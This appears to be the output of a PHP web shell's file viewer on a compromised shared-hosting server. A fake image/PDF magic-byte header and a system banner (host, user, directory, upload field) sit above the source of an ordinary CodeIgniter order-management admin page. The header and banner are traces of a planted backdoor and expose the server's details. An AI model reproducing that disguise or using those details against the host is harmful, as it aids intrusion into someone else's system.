%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/views/admin/listing/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>Manage Order</title>
<?php $this->load->view("Element/admin/header_common.php");?>
</head>
<body>
<!-- container section start -->
<section id="container" class="">
<?php $this->load->view("Element/admin/header.php");?>
<!--main content start-->
<section id="main-content">
<section class="wrapper">
<!--overview start-->
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa-laptop"></i> Manage Order</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="<?=BASE_URL?>admin">Home</a></li>
<li><i class="fa fa-laptop"></i>Manage Order</li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<?php
if(validation_errors())
echo'<div class="error" id="FLASH" name="FLASH">'.validation_errors().'</div>';
if($this->session->flashdata("error")) echo '<div class="normal" id="FLASH" name="FLASH">'.$this->session->flashdata("error").'</div>';
?>
<header class="panel-heading">
Manage Order
<br>
<div class="col-md-6" style="text-align: right; color: #000; line-height: 47px;"> </div>
</header>
<table id="myTable" class="table table-striped table-advance table-hover">
<? if(count($AllorderList) > 0) { ?>
<thead>
<tr>
<th>Order ID</th>
<th>Tracking Number</th>
<th>Status</th>
<th> Date Added </th>
<th> View</th>
</tr>
</thead>
<tfoot>
<tr>
<th>Order ID</th>
<th>Tracking Number</th>
<th>Status</th>
<th> Date Added </th>
<th> View</th>
</tr>
</tfoot>
<tbody>
<? foreach($AllorderList as $ContentData) {
?>
<tr>
<td>#<?=$ContentData['order_id'];?></td>
<td><?=$ContentData['invoice_prefix'];?></td>
<td><?=$this->commonmod_model->GetOrderStatusType($ContentData['order_status_id'])?></td>
<td><?=date("d/ m/ Y",strtotime($ContentData['date_added']));?> </td>
<td> <a href="<?=BASE_URL?>admin/listing/orderdetail/<?=$ContentData['order_id']?>" data-toggle="tooltip" title="" class="btn btn-info" data-original-title="View"><i class="fa fa-eye"></i></a>
<?php if($this->session->userdata('bh_admin_id')=='3'){ ?>
<a href="<?=BASE_URL?>admin/listing/odelete/<?=$ContentData['order_id']?>" data-toggle="tooltip" title="" class="btn btn-danger" data-original-title="Delete"><i class="fa fa-trash-o"></i></a>
<? } ?>
</td>
</tr>
<? } ?>
<?php } else{ ?>
<tbody>
<tr class="odd"><td valign="top" colspan="6" class="dataTables_empty">No records found</td></tr></tbody>
<? } ?>
</tbody>
</table>
</section>
</div>
</div>
<!-- project team & activity end -->
</section>
<?php $this->load->view("Element/admin/footer_common.php");?>
</section>
<!--main content end-->
</section>
<!-- container section start -->
<?php $this->load->view("Element/admin/footer.php");?>
<script>
function redirect(url){
window.location.href= url ;
}
</script>
<script>
$(document).ready(function(){
$('#myTable').DataTable();
})
</script>
</body>
</html>